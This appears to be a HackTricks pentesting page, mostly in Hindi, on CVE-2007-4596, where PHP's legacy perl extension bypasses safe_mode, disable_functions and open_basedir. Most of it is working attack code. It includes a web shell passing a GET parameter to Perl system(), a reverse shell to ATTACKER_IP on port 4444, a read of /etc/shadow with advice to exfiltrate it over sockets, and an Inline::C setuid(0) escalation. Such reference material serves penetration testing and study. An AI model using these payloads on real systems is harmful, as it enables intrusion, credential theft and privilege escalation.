PHP Perl Extension Safe_mode Bypass Exploit

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

पृष्ठभूमि

यह मुद्दा जिसे CVE-2007-4596 के रूप में ट्रैक किया गया है, legacy perl PHP extension से आता है, जो एक पूरा Perl interpreter embed करता है बिना PHP के safe_mode, disable_functions, या open_basedir नियंत्रणों का सम्मान किए। कोई भी PHP worker जो extension=perl.so लोड करता है उसे unrestricted Perl eval मिल जाता है, इसलिए कमांड execution बहुत आसान रहता है भले ही सभी क्लासिक PHP process-spawning primitives blocked हों। यद्यपि safe_mode PHP 5.4 में गायब हो गया था, कई outdated shared-hosting stacks और vulnerable labs अभी भी इसे भेजते हैं, इसलिए जब आप legacy control panels पर पहुंचते हैं तो यह bypass अभी भी उपयोगी है।

2025 में टेस्ट करने योग्य वातावरण बनाना

  • आखिरी सार्वजनिक जारी build (perl-1.0.1, January 2013) PHP ≥5.0 को target करता है। इसे PECL से प्राप्त करें, जिस exact PHP branch पर आप हमला करने का इरादा रखते हैं उसके लिए compile करें, और इसे globally (php.ini) या dl() के माध्यम से लोड करें (यदि अनुमति हो)।
  • Quick Debian-based lab recipe:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • Exploit करते समय उपलब्धता की पुष्टि करें var_dump(extension_loaded('perl')); या print_r(get_loaded_extensions()); के साथ। अगर अनुपस्थित है, तो perl.so खोजें या writable php.ini/.user.ini एंट्रीज़ का दुरुपयोग करके इसे force-load करें।
  • क्योंकि interpreter PHP worker के अंदर रहता है, किसी बाहरी binaries की जरूरत नहीं होती—network egress filters या proc_open blacklists मायने नहीं रखते।

Original PoC (NetJackal)

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, अभी भी handy यह पुष्टि करने के लिए कि extension eval को respond करता है:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Modern Payload Enhancements

1. Full TTY over TCP

एंबेडेड इंटरप्रेटर IO::Socket लोड कर सकता है भले ही /usr/bin/perl ब्लॉक हो:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape — open_basedir के बावजूद

Perl, PHP के open_basedir को नज़रअंदाज़ करता है, इसलिए आप मनमाने फ़ाइलें पढ़ सकते हैं:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

आउटपुट को IO::Socket::INET या Net::HTTP के माध्यम से पाइप करें ताकि PHP-managed descriptors को छुए बिना डेटा को exfiltrate किया जा सके।

3. Inline Compilation for Privilege Escalation

यदि Inline::C सिस्टम-व्यापी मौजूद है, तो रिक्वेस्ट के अंदर हेल्पर्स को कंपाइल करें, PHP के ffi या pcntl पर निर्भर हुए बिना:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Perl को LOLBAS toolkit की तरह मानें — उदाहरण के लिए, यदि mysqli मौजूद नहीं है तब भी MySQL DSNs dump करें:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें